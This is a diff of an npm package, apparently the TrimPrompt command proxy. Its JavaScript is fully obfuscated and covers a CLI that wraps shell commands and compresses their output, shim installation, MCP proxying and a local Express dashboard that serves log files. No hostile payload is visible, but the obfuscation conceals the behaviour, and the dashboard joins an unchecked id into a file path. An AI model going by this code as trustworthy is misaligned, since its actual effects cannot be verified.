_0x2cf35b=a0_0x4b1687,_0x1c3681=_0x59e54f[_0x2cf35b(0x135)](),_0x210ef7=_0x4b4ab7[_0x2cf35b(0x1b4)]('\x20')[_0x2cf35b(0x135)]();if(_0x1c3681[_0x2cf35b(0x172)](_0x2cf35b(0x19c))&&(_0x1c3681['includes'](_0x2cf35b(0x17e))||_0x1c3681[_0x2cf35b(0x172)]('proxy')))return!![];if(_0x1c3681===_0x2cf35b(0x15f)||_0x1c3681===_0x2cf35b(0x173)||_0x1c3681===_0x2cf35b(0x12f)||_0x1c3681===_0x2cf35b(0x11b)||_0x1c3681===_0x2cf35b(0x1ab)||_0x1c3681===_0x2cf35b(0x123)){if(_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x156))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x122))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x148))||_0x210ef7['includes'](_0x2cf35b(0x194)))return!![];}if(_0x4b4ab7[_0x2cf35b(0x18d)](_0x1931bf=>{const _0x3a09b5=_0x2cf35b,_0x44aa94=_0x1931bf[_0x3a09b5(0x135)]();return _0x44aa94[_0x3a09b5(0x172)](_0x3a09b5(0x148))||_0x44aa94['includes'](_0x3a09b5(0x194))||_0x44aa94['includes']('@modelcontextprotocol/')||_0x44aa94===_0x3a09b5(0x180)||_0x44aa94===_0x3a09b5(0x19c);}))return!![];return![];}async function runProxy(_0x251b9a){const _0x551df9=a0_0x4b1687;if(_0x251b9a[_0x551df9(0x1b6)]===0x0){program[_0x551df9(0x127)]();return;}const _0x517f47=_0x251b9a[0x0],_0x57cff0=_0x251b9a[_0x551df9(0x175)](0x1),_0x1df973=_0x251b9a[_0x551df9(0x1b4)]('\x20');if(isDisabled()){const _0xb5badc=await(0x0,executor_1['executeCommand'])(_0x517f47,_0x57cff0);process[_0x551df9(0x140)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x140)]),process[_0x551df9(0x170)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x170)]),process[_0x551df9(0x1af)](_0xb5badc['exitCode']);}if(isMcpServerExecution(_0x517f47,_0x57cff0)){console[_0x551df9(0x165)](_0x551df9(0x199));const {runMcpProxy:_0x238771}=await Promise[_0x551df9(0x120)]()[_0x551df9(0x119)](()=>__importStar(require(_0x551df9(0x136))));_0x238771(_0x517f47,_0x57cff0);return;}const _0x3576a8=adjustCommandArgs(_0x517f47,_0x57cff0),_0x524f9b=await(0x0,executor_1[_0x551df9(0x115)])(_0x3576a8[_0x551df9(0x16b)],_0x3576a8[_0x551df9(0x13f)]),_0x3483e2=(0x0,filters_1[_0x551df9(0x154)])(_0x1df973,_0x524f9b[_0x551df9(0x140)],_0x524f9b['stderr'],tracker_1[_0x551df9(0x12b)][_0x551df9(0x177)]()['redaction_enabled']),_0xfced73=_0x524f9b[_0x551df9(0x140)]+(_0x524f9b['stderr'][_0x551df9(0x163)]()[_0x551df9(0x1b6)]>0x0?'\x0a'+_0x524f9b['stderr']:'');tracker_1['tracker']['logExecution'](_0x1df973,_0xfced73,_0x3483e2,_0x524f9b['exitCode']),_0x524f9b['exitCode']===0x0?process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'):(process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'),_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]()['length']>0x0&&!_0x3483e2[_0x551df9(0x172)](_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]())&&process[_0x551df9(0x170)][_0x551df9(0x183)](_0x524f9b[_0x551df9(0x170)]+'\x0a')),process[_0x551df9(0x1af)](_0x524f9b['exitCode']);}function a0_0x3719(_0x135cc1,_0x4fba98){_0x135cc1=_0x135cc1-0x110;const _0x321561=a0_0x3215();let _0x3719ac=_0x321561[_0x135cc1];return _0x3719ac;}program[a0_0x4b1687(0x1b0)](a0_0x4b1687(0x163))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x124))[a0_0x4b1687(0x125)](a0_0x4b1687(0x19f)),program['command']('ui')[a0_0x4b1687(0x150)](a0_0x4b1687(0x161))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a7))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x129),a0_0x4b1687(0x184),a0_0x4b1687(0x15a))['action'](_0x39ad25=>{const _0x3d9a78=a0_0x4b1687,_0x562ced=parseInt(_0x39ad25[_0x3d9a78(0x1a9)],0xa);(0x0,dashboard_1[_0x3d9a78(0x1b3)])(_0x562ced);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x131))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x18a))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x13a),a0_0x4b1687(0x18e),a0_0x4b1687(0x182))[a0_0x4b1687(0x19b)](_0x11be61=>{const _0x504e41=a0_0x4b1687,_0x3c10a8=tracker_1[_0x504e41(0x12b)][_0x504e41(0x144)](_0x11be61[_0x504e41(0x15c)]);console['log'](_0x504e41(0x17a)),console[_0x504e41(0x181)](_0x504e41(0x16f)),console[_0x504e41(0x181)](_0x504e41(0x141)),console['log'](_0x504e41(0x13d)+_0x3c10a8[_0x504e41(0x189)]),console[_0x504e41(0x181)](_0x504e41(0x188)+_0x3c10a8['total_raw_tokens']['toLocaleString']()),console[_0x504e41(0x181)](_0x504e41(0x168)+_0x3c10a8[_0x504e41(0x12a)][_0x504e41(0x1a6)]()),console[_0x504e41(0x181)](_0x504e41(0x139)+_0x3c10a8[_0x504e41(0x13c)][_0x504e41(0x1a6)]()),console['log'](_0x504e41(0x185)+_0x3c10a8[_0x504e41(0x137)]+'%'),console[_0x504e41(0x181)](_0x504e41(0x134)+_0x3c10a8['raw_cost_usd'][_0x504e41(0x191)](0x4)+_0x504e41(0x198)),console[_0x504e41(0x181)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x3c10a8['compressed_cost_usd'][_0x504e41(0x191)](0x4)+'\x20(after\x20Shave)'),console[_0x504e41(0x181)](_0x504e41(0x174)),console['log'](_0x504e41(0x1ad)+_0x3c10a8[_0x504e41(0x15d)][_0x504e41(0x191)](0x4)+_0x504e41(0x1a3)),console['log'](_0x504e41(0x14e));}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x192))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a0))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x17f))[a0_0x4b1687(0x1ae)]('<key>',a0_0x4b1687(0x11d))[a0_0x4b1687(0x1ae)]('[value]',a0_0x4b1687(0x147))['action']((_0x59e16f,_0x2b9b60,_0x5ea73b)=>{const _0x2ac36c=a0_0x4b1687;if(_0x59e16f===_0x2ac36c(0x16d)){const _0x494227=tracker_1[_0x2ac36c(0x12b)]['getConfig']();console[_0x2ac36c(0x181)](_0x2b9b60+':\x20'+_0x494227[_0x2b9b60]);}else{if(_0x59e16f===_0x2ac36c(0x155)){_0x5ea73b===undefined&&(console['error'](_0x2ac36c(0x130)),process[_0x2ac36c(0x1af)](0x1));let _0x3fd02a=_0x5ea73b;if(_0x5ea73b==='true')_0x3fd02a=!![];if(_0x5ea73b===_0x2ac36c(0x167))_0x3fd02a=![];if(/^\d+$/['test'](_0x5ea73b))_0x3fd02a=parseInt(_0x5ea73b,0xa);tracker_1[_0x2ac36c(0x12b)][_0x2ac36c(0x160)](_0x2b9b60,_0x3fd02a),console['log'](_0x2ac36c(0x14c)+_0x2b9b60+_0x2ac36c(0x1a1)+_0x5ea73b);}else console[_0x2ac36c(0x165)](_0x2ac36c(0x112)),process['exit'](0x1);}}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x169))['description'](a0_0x4b1687(0x1ac))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x132))[a0_0x4b1687(0x19b)](_0x1c1adc=>{const _0x2d1ebb=a0_0x4b1687;if(_0x1c1adc===_0x2d1ebb(0x12d)){const _0x1b7400=(0x0,shims_1[_0x2d1ebb(0x18c)])();console[_0x2d1ebb(0x181)](_0x1b7400[_0x2d1ebb(0x1a8)]);}else{if(_0x1c1adc===_0x2d1ebb(0x186)){const _0xc0e460=(0x0,shims_1['uninstallShims'])();console[_0x2d1ebb(0x181)](_0xc0e460['message']);}else console[_0x2d1ebb(0x165)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0x2d1ebb(0x1af)](0x1);}}),program['command'](a0_0x4b1687(0x111))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x113))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x158),a0_0x4b1687(0x19a))[a0_0x4b1687(0x19b)](_0x24eac7=>{const _0x2fb6d8=a0_0x4b1687;if(isDisabled()){console[_0x2fb6d8(0x181)](_0x24eac7);return;}const _0x3c253c=(0x0,filters_1['rewriteCommand'])(_0x24eac7);console[_0x2fb6d8(0x181)](_0x3c253c);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x180))[a0_0x4b1687(0x150)](a0_0x4b1687(0x19c))['description'](a0_0x4b1687(0x146))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x121),a0_0x4b1687(0x1b5))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x11a),a0_0x4b1687(0x133))[a0_0x4b1687(0x19b)](async(_0x24ea2d,_0xab93b4)=>{const _0x4c1290=a0_0x4b1687,{runMcpProxy:_0x3c9c94}=await Promise[_0x4c1290(0x120)]()[_0x4c1290(0x119)](()=>__importStar(require(_0x4c1290(0x136))));_0x3c9c94(_0x24ea2d,_0xab93b4);});const args=process['argv'][a0_0x4b1687(0x175)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x4b1687(0x161),a0_0x4b1687(0x131),a0_0x4b1687(0x192),a0_0x4b1687(0x169),'rewrite','mcp-proxy',a0_0x4b1687(0x19c),a0_0x4b1687(0x127),'--help','-h',a0_0x4b1687(0x125),a0_0x4b1687(0x18f),'-v'];firstArg&&!subcommands[a0_0x4b1687(0x172)](firstArg)?runProxy(args)[a0_0x4b1687(0x162)](_0x53649d=>{const _0x2c4a75=a0_0x4b1687;console[_0x2c4a75(0x165)](_0x2c4a75(0x1b1)+_0x53649d[_0x2c4a75(0x1a8)]),process['exit'](0x1);}):program[a0_0x4b1687(0x19e)](process[a0_0x4b1687(0x1aa)]);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2f3a67=a0_0x2931;function a0_0x2931(_0x45cd2d,_0x28ea9d){_0x45cd2d=_0x45cd2d-0x88;const _0x3f73c7=a0_0x3f73();let _0x29315e=_0x3f73c7[_0x45cd2d];return _0x29315e;}(function(_0x29e29d,_0x211d89){const _0x5e064d=a0_0x2931,_0x80f877=_0x29e29d();while(!![]){try{const _0x10ca4e=parseInt(_0x5e064d(0xbb))/0x1+parseInt(_0x5e064d(0x88))/0x2*(-parseInt(_0x5e064d(0xa4))/0x3)+-parseInt(_0x5e064d(0xb9))/0x4*(-parseInt(_0x5e064d(0x97))/0x5)+parseInt(_0x5e064d(0x98))/0x6*(parseInt(_0x5e064d(0x9c))/0x7)+parseInt(_0x5e064d(0xae))/0x8+-parseInt(_0x5e064d(0xb3))/0x9+-parseInt(_0x5e064d(0xa2))/0xa;if(_0x10ca4e===_0x211d89)break;else _0x80f877['push'](_0x80f877['shift']());}catch(_0x59757f){_0x80f877['push'](_0x80f877['shift']());}}}(a0_0x3f73,0x35cf3));var __createBinding=this&&this[a0_0x2f3a67(0xb0)]||(Object[a0_0x2f3a67(0xa0)]?function(_0x55c564,_0x27fa31,_0x4d4703,_0x59cb28){const _0x74d132=a0_0x2f3a67;if(_0x59cb28===undefined)_0x59cb28=_0x4d4703;var _0x115e0b=Object[_0x74d132(0x8c)](_0x27fa31,_0x4d4703);(!_0x115e0b||('get'in _0x115e0b?!_0x27fa31[_0x74d132(0x8e)]:_0x115e0b[_0x74d132(0xb5)]||_0x115e0b[_0x74d132(0xb8)]))&&(_0x115e0b={'enumerable':!![],'get':function(){return _0x27fa31[_0x4d4703];}}),Object[_0x74d132(0xa7)](_0x55c564,_0x59cb28,_0x115e0b);}:function(_0x581ac6,_0xdcc1cf,_0x5ec8d4,_0x4091d8){if(_0x4091d8===undefined)_0x4091d8=_0x5ec8d4;_0x581ac6[_0x4091d8]=_0xdcc1cf[_0x5ec8d4];}),__setModuleDefault=this&&this[a0_0x2f3a67(0x9a)]||(Object[a0_0x2f3a67(0xa0)]?function(_0x221679,_0x3890d6){const _0x4f4d7e=a0_0x2f3a67;Object[_0x4f4d7e(0xa7)](_0x221679,_0x4f4d7e(0xa9),{'enumerable':!![],'value':_0x3890d6});}:function(_0x5c72d7,_0x35d3ab){_0x5c72d7['default']=_0x35d3ab;}),__importStar=this&&this['__importStar']||(function(){var _0x2e160c=function(_0x38399d){const _0x561a43=a0_0x2931;return _0x2e160c=Object[_0x561a43(0x91)]||function(_0x40f0a1){const _0x2755e0=_0x561a43;var _0x1d3e40=[];for(var _0x2c9985 in _0x40f0a1)if(Object[_0x2755e0(0xb4)]['hasOwnProperty']['call'](_0x40f0a1,_0x2c9985))_0x1d3e40[_0x1d3e40[_0x2755e0(0xa5)]]=_0x2c9985;return _0x1d3e40;},_0x2e160c(_0x38399d);};return function(_0x44dd3e){const _0x34a5ac=a0_0x2931;if(_0x44dd3e&&_0x44dd3e[_0x34a5ac(0x8e)])return _0x44dd3e;var _0x5ae8f3={};if(_0x44dd3e!=null){for(var _0x4cd826=_0x2e160c(_0x44dd3e),_0x2aa082=0x0;_0x2aa082<_0x4cd826[_0x34a5ac(0xa5)];_0x2aa082++)if(_0x4cd826[_0x2aa082]!==_0x34a5ac(0xa9))__createBinding(_0x5ae8f3,_0x44dd3e,_0x4cd826[_0x2aa082]);}return __setModuleDefault(_0x5ae8f3,_0x44dd3e),_0x5ae8f3;};}()),__importDefault=this&&this[a0_0x2f3a67(0x96)]||function(_0x21aec6){const _0x529108=a0_0x2f3a67;return _0x21aec6&&_0x21aec6[_0x529108(0x8e)]?_0x21aec6:{'default':_0x21aec6};};Object[a0_0x2f3a67(0xa7)](exports,a0_0x2f3a67(0x8e),{'value':!![]}),exports[a0_0x2f3a67(0x90)]=startDashboard;const express_1=__importDefault(require(a0_0x2f3a67(0xbc))),path=__importStar(require(a0_0x2f3a67(0x89))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require('open')),tracker_1=require('./tracker'),app=(0x0,express_1['default'])(),baseDir=path['join'](os[a0_0x2f3a67(0xbd)](),'.trimprompt'),logsDir=path['join'](baseDir,a0_0x2f3a67(0x9f));app[a0_0x2f3a67(0x8b)]('/',(_0x16715f,_0x5a44c9)=>{const _0x5cb9af=a0_0x2f3a67,_0x5d88a2=path[_0x5cb9af(0x94)](__dirname,_0x5cb9af(0xbe));fs[_0x5cb9af(0x9b)](_0x5d88a2)?_0x5a44c9['sendFile'](_0x5d88a2):_0x5a44c9['sendFile'](path[_0x5cb9af(0x94)](__dirname,_0x5cb9af(0xac)));}),app[a0_0x2f3a67(0x8b)]('/api/stats/summary',(_0x366d61,_0x11883d)=>{const _0x21bb4f=a0_0x2f3a67,_0x4d9ea5=_0x366d61[_0x21bb4f(0xa8)]['model']||_0x21bb4f(0x9e),_0x163391=tracker_1[_0x21bb4f(0x9d)][_0x21bb4f(0x8f)](_0x4d9ea5);_0x11883d[_0x21bb4f(0x95)](_0x163391);}),app['get'](a0_0x2f3a67(0xb6),(_0x5d2245,_0x3f2c8d)=>{const _0x2bceab=a0_0x2f3a67,_0x5aa42a=tracker_1[_0x2bceab(0x9d)][_0x2bceab(0xa1)]();_0x3f2c8d[_0x2bceab(0x95)](_0x5aa42a);}),app[a0_0x2f3a67(0x8b)](a0_0x2f3a67(0x8d),(_0x2354a9,_0x418287)=>{const _0x36a7ab=a0_0x2f3a67,_0x1a4e34=_0x2354a9[_0x36a7ab(0x8a)]['id'],_0x2d6375=path['join'](logsDir,_0x1a4e34+_0x36a7ab(0x99)),_0x3a040e=path[_0x36a7ab(0x94)](logsDir,_0x1a4e34+_0x36a7ab(0x92));let _0x4bffc9=_0x36a7ab(0xaf),_0x57e342='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0x36a7ab(0x9b)](_0x2d6375)&&(_0x4bffc9=fs[_0x36a7ab(0xb2)](_0x2d6375,_0x36a7ab(0xba))),fs[_0x36a7ab(0x9b)](_0x3a040e)&&(_0x57e342=fs[_0x36a7ab(0xb2)](_0x3a040e,_0x36a7ab(0xba)));}catch(_0x199094){}_0x418287[_0x36a7ab(0x95)]({'id':_0x1a4e34,'raw':_0x4bffc9,'compressed':_0x57e342});});function startDashboard(_0x1fe7f8=0xfa0){const _0x4ed799=a0_0x2f3a67;let _0x4f692b=_0x1fe7f8;const _0x3d0154=app[_0x4ed799(0x93)](_0x4f692b,()=>{const _0x5102bd=_0x4ed799,_0x4dd568=_0x5102bd(0xaa)+_0x4f692b;console[_0x5102bd(0xab)](_0x5102bd(0xad)+_0x4dd568),console['log'](_0x5102bd(0xb7)),(0x0,open_1[_0x5102bd(0xa9)])(_0x4dd568)[_0x5102bd(0xa3)](()=>{});});_0x3d0154['on']('error',_0x191587=>{const _0x27fe03=_0x4ed799;_0x191587[_0x27fe03(0xa6)]==='EADDRINUSE'?startDashboard(_0x4f692b+0x1):console['error']('[TrimPrompt]\x20Dashboard\x20error:\x20'+_0x191587[_0x27fe03(0xb1)]);});}function a0_0x3f73(){const _0x3d1326=['1594MNqfZO','path','params','get','getOwnPropertyDescriptor','/api/stats/inspect/:id','__esModule','getStatsSummary','startDashboard','getOwnPropertyNames','.comp.txt','listen','join','json','__importDefault','90siDvxi','6oEXUQc','.raw.txt','__setModuleDefault','existsSync','3057677bZzRTb','tracker','auto','logs','create','getLogs','9248660UtDEjQ','catch','741eBQxxD','length','code','defineProperty','query','default','http://localhost:','log','../src/index.html','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','3475184IZTegd','Raw\x20output\x20log\x20file\x20not\x20found.','__createBinding','message','readFileSync','1889541gQvdSz','prototype','writable','/api/stats/history','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','configurable','85056stprKZ','utf8','298116UQGsOo','express','homedir','index.html'];a0_0x3f73=function(){return _0x3d1326;};return a0_0x3f73();}
1
+ 'use strict';const a0_0x30c362=a0_0x2dbd;(function(_0x896caf,_0xf0c218){const _0xe7f443=a0_0x2dbd,_0x195dd3=_0x896caf();while(!![]){try{const _0x597234=parseInt(_0xe7f443(0x114))/0x1+-parseInt(_0xe7f443(0x132))/0x2+-parseInt(_0xe7f443(0x11a))/0x3+parseInt(_0xe7f443(0x107))/0x4+parseInt(_0xe7f443(0x119))/0x5*(parseInt(_0xe7f443(0x12a))/0x6)+parseInt(_0xe7f443(0x113))/0x7+parseInt(_0xe7f443(0x112))/0x8*(-parseInt(_0xe7f443(0x105))/0x9);if(_0x597234===_0xf0c218)break;else _0x195dd3['push'](_0x195dd3['shift']());}catch(_0x23097d){_0x195dd3['push'](_0x195dd3['shift']());}}}(a0_0x48f6,0x24d6a));var __createBinding=this&&this[a0_0x30c362(0x10d)]||(Object['create']?function(_0x1d3823,_0x7af420,_0x2cdd89,_0x3e36e7){const _0x10596d=a0_0x30c362;if(_0x3e36e7===undefined)_0x3e36e7=_0x2cdd89;var _0x47f85a=Object[_0x10596d(0x128)](_0x7af420,_0x2cdd89);(!_0x47f85a||(_0x10596d(0x118)in _0x47f85a?!_0x7af420['__esModule']:_0x47f85a[_0x10596d(0x127)]||_0x47f85a['configurable']))&&(_0x47f85a={'enumerable':!![],'get':function(){return _0x7af420[_0x2cdd89];}}),Object['defineProperty'](_0x1d3823,_0x3e36e7,_0x47f85a);}:function(_0x445c0f,_0x1fe8fa,_0x1af226,_0x38201c){if(_0x38201c===undefined)_0x38201c=_0x1af226;_0x445c0f[_0x38201c]=_0x1fe8fa[_0x1af226];}),__setModuleDefault=this&&this[a0_0x30c362(0x11e)]||(Object[a0_0x30c362(0x130)]?function(_0x41051d,_0x2bce8d){const _0x21d93e=a0_0x30c362;Object[_0x21d93e(0x121)](_0x41051d,_0x21d93e(0x11c),{'enumerable':!![],'value':_0x2bce8d});}:function(_0x4a8f2e,_0x2d8d54){const _0x9a45e8=a0_0x30c362;_0x4a8f2e[_0x9a45e8(0x11c)]=_0x2d8d54;}),__importStar=this&&this[a0_0x30c362(0x124)]||(function(){var _0x42f7af=function(_0x18c1ed){return _0x42f7af=Object['getOwnPropertyNames']||function(_0x1c872f){const _0x499ff5=a0_0x2dbd;var _0x33673=[];for(var _0x164f62 in _0x1c872f)if(Object[_0x499ff5(0x135)][_0x499ff5(0x116)]['call'](_0x1c872f,_0x164f62))_0x33673[_0x33673[_0x499ff5(0x126)]]=_0x164f62;return _0x33673;},_0x42f7af(_0x18c1ed);};return function(_0x31ba3a){const _0x36a3d1=a0_0x2dbd;if(_0x31ba3a&&_0x31ba3a[_0x36a3d1(0x10f)])return _0x31ba3a;var _0x37dd55={};if(_0x31ba3a!=null){for(var _0x1cde18=_0x42f7af(_0x31ba3a),_0x408097=0x0;_0x408097<_0x1cde18[_0x36a3d1(0x126)];_0x408097++)if(_0x1cde18[_0x408097]!==_0x36a3d1(0x11c))__createBinding(_0x37dd55,_0x31ba3a,_0x1cde18[_0x408097]);}return __setModuleDefault(_0x37dd55,_0x31ba3a),_0x37dd55;};}()),__importDefault=this&&this['__importDefault']||function(_0x405a65){const _0x5c5a67=a0_0x30c362;return _0x405a65&&_0x405a65[_0x5c5a67(0x10f)]?_0x405a65:{'default':_0x405a65};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;function a0_0x48f6(){const _0x155ae5=['2087043dLUomH','110643ksbTzf','readFileSync','hasOwnProperty','EADDRINUSE','get','5xQSPSY','676431lemhfG','auto','default','express','__setModuleDefault','getStatsSummary','existsSync','defineProperty','/api/stats/inspect/:id','index.html','__importStar','open','length','writable','getOwnPropertyDescriptor','path','958614ipZmrP','model','logs','join','sendFile','params','create','json','65852kFxEIR','.comp.txt','log','prototype','/api/stats/history','/api/stats/summary','18PxUEiV','tracker','282600BrqDeG','../src/index.html','utf8','[TrimPrompt]\x20Dashboard\x20error:\x20','http://localhost:','error','__createBinding','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','__esModule','homedir','./tracker','919672pTOsVL'];a0_0x48f6=function(){return _0x155ae5;};return a0_0x48f6();}function a0_0x2dbd(_0x5d3e70,_0x2582f7){_0x5d3e70=_0x5d3e70-0x104;const _0x48f6a2=a0_0x48f6();let _0x2dbda4=_0x48f6a2[_0x5d3e70];return _0x2dbda4;}const express_1=__importDefault(require(a0_0x30c362(0x11d))),path=__importStar(require(a0_0x30c362(0x129))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x30c362(0x125))),tracker_1=require(a0_0x30c362(0x111)),app=(0x0,express_1['default'])(),baseDir=path[a0_0x30c362(0x12d)](os[a0_0x30c362(0x110)](),'.trimprompt'),logsDir=path[a0_0x30c362(0x12d)](baseDir,a0_0x30c362(0x12c));app['get']('/',(_0x46ccc4,_0x23f014)=>{const _0x28650f=a0_0x30c362,_0x124584=path[_0x28650f(0x12d)](__dirname,_0x28650f(0x123));fs[_0x28650f(0x120)](_0x124584)?_0x23f014[_0x28650f(0x12e)](_0x124584):_0x23f014['sendFile'](path[_0x28650f(0x12d)](__dirname,_0x28650f(0x108)));}),app[a0_0x30c362(0x118)](a0_0x30c362(0x104),(_0x2dda39,_0x32a0c0)=>{const _0x16e738=a0_0x30c362,_0x385c2d=_0x2dda39['query'][_0x16e738(0x12b)]||_0x16e738(0x11b),_0x12a648=tracker_1[_0x16e738(0x106)][_0x16e738(0x11f)](_0x385c2d);_0x32a0c0[_0x16e738(0x131)](_0x12a648);}),app['get'](a0_0x30c362(0x136),(_0x437b9e,_0x497307)=>{const _0xfe7c4a=a0_0x30c362,_0x48b6a8=tracker_1['tracker']['getLogs']();_0x497307[_0xfe7c4a(0x131)](_0x48b6a8);}),app[a0_0x30c362(0x118)](a0_0x30c362(0x122),(_0xdd6691,_0x461a07)=>{const _0xea0b7b=a0_0x30c362,_0x32447e=_0xdd6691[_0xea0b7b(0x12f)]['id'],_0x4e4b2b=path['join'](logsDir,_0x32447e+'.raw.txt'),_0x3267d2=path[_0xea0b7b(0x12d)](logsDir,_0x32447e+_0xea0b7b(0x133));let _0x2512a3='Raw\x20output\x20log\x20file\x20not\x20found.',_0x44aa48='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0xea0b7b(0x120)](_0x4e4b2b)&&(_0x2512a3=fs['readFileSync'](_0x4e4b2b,_0xea0b7b(0x109))),fs[_0xea0b7b(0x120)](_0x3267d2)&&(_0x44aa48=fs[_0xea0b7b(0x115)](_0x3267d2,'utf8'));}catch(_0x177e27){}_0x461a07[_0xea0b7b(0x131)]({'id':_0x32447e,'raw':_0x2512a3,'compressed':_0x44aa48});});function startDashboard(_0x167aff=0xfa0){const _0x21b8cf=a0_0x30c362;let _0x166a1b=_0x167aff;const _0x69603d=app['listen'](_0x166a1b,()=>{const _0xa35551=a0_0x2dbd,_0x245434=_0xa35551(0x10b)+_0x166a1b;console[_0xa35551(0x134)](_0xa35551(0x10e)+_0x245434),console[_0xa35551(0x134)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1[_0xa35551(0x11c)])(_0x245434)['catch'](()=>{});});_0x69603d['on'](_0x21b8cf(0x10c),_0x38dfb0=>{const _0x57f02d=_0x21b8cf;_0x38dfb0['code']===_0x57f02d(0x117)?startDashboard(_0x166a1b+0x1):console['error'](_0x57f02d(0x10a)+_0x38dfb0['message']);});}
package/executor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';var a0_0x424952=a0_0x6437;(function(_0x150ebb,_0x29e9f7){var _0x48b531=a0_0x6437,_0x45484d=_0x150ebb();while(!![]){try{var _0x181ba1=parseInt(_0x48b531(0x14b))/0x1+-parseInt(_0x48b531(0x14e))/0x2+-parseInt(_0x48b531(0x146))/0x3*(parseInt(_0x48b531(0x148))/0x4)+parseInt(_0x48b531(0x13d))/0x5*(parseInt(_0x48b531(0x140))/0x6)+parseInt(_0x48b531(0x153))/0x7+parseInt(_0x48b531(0x157))/0x8+parseInt(_0x48b531(0x147))/0x9*(-parseInt(_0x48b531(0x159))/0xa);if(_0x181ba1===_0x29e9f7)break;else _0x45484d['push'](_0x45484d['shift']());}catch(_0x297522){_0x45484d['push'](_0x45484d['shift']());}}}(a0_0xa1bb,0x3930b));function a0_0x6437(_0xf34e9b,_0x287de7){_0xf34e9b=_0xf34e9b-0x132;var _0xa1bb36=a0_0xa1bb();var _0x6437d9=_0xa1bb36[_0xf34e9b];return _0x6437d9;}function a0_0xa1bb(){var _0x5262d5=['default','error','213478DPainl','inherit','toString','close','trim','1817039lzbGMi','filter','getOwnPropertyDescriptor','length','1479432nOecFl','toLowerCase','47950NkJOtu','Failed\x20to\x20spawn\x20command\x20\x22','create','homedir','__esModule','message','join','getOwnPropertyNames','path','writable','pipe','__setModuleDefault','executeCommand','spawn','split','20VRPzbg','data','configurable','440934ZhfGWq','delimiter','.trimprompt','defineProperty','call','child_process','18btOOBy','1206xqsTWB','65388JHsmnA','__createBinding','shims','343140uesRde'];a0_0xa1bb=function(){return _0x5262d5;};return a0_0xa1bb();}var __createBinding=this&&this[a0_0x424952(0x149)]||(Object['create']?function(_0x5553c8,_0x30ad57,_0x240b8c,_0x4d01ca){var _0x3eed66=a0_0x424952;if(_0x4d01ca===undefined)_0x4d01ca=_0x240b8c;var _0x52c18d=Object[_0x3eed66(0x155)](_0x30ad57,_0x240b8c);(!_0x52c18d||('get'in _0x52c18d?!_0x30ad57[_0x3eed66(0x132)]:_0x52c18d[_0x3eed66(0x137)]||_0x52c18d[_0x3eed66(0x13f)]))&&(_0x52c18d={'enumerable':!![],'get':function(){return _0x30ad57[_0x240b8c];}}),Object[_0x3eed66(0x143)](_0x5553c8,_0x4d01ca,_0x52c18d);}:function(_0x1cf4e7,_0x44cf1e,_0xe2c905,_0x55c496){if(_0x55c496===undefined)_0x55c496=_0xe2c905;_0x1cf4e7[_0x55c496]=_0x44cf1e[_0xe2c905];}),__setModuleDefault=this&&this[a0_0x424952(0x139)]||(Object[a0_0x424952(0x15b)]?function(_0xd4cf26,_0x5661bf){var _0x1832e4=a0_0x424952;Object['defineProperty'](_0xd4cf26,_0x1832e4(0x14c),{'enumerable':!![],'value':_0x5661bf});}:function(_0x5a2866,_0x468767){var _0x4bc3a0=a0_0x424952;_0x5a2866[_0x4bc3a0(0x14c)]=_0x468767;}),__importStar=this&&this['__importStar']||(function(){var _0x1d55e9=function(_0x41c1e6){var _0x4c8b2f=a0_0x6437;return _0x1d55e9=Object[_0x4c8b2f(0x135)]||function(_0x375de1){var _0x2b2250=_0x4c8b2f,_0x5b216d=[];for(var _0x54ac5e in _0x375de1)if(Object['prototype']['hasOwnProperty'][_0x2b2250(0x144)](_0x375de1,_0x54ac5e))_0x5b216d[_0x5b216d[_0x2b2250(0x156)]]=_0x54ac5e;return _0x5b216d;},_0x1d55e9(_0x41c1e6);};return function(_0x2d8a49){var _0x3812cb=a0_0x6437;if(_0x2d8a49&&_0x2d8a49[_0x3812cb(0x132)])return _0x2d8a49;var _0x30a314={};if(_0x2d8a49!=null){for(var 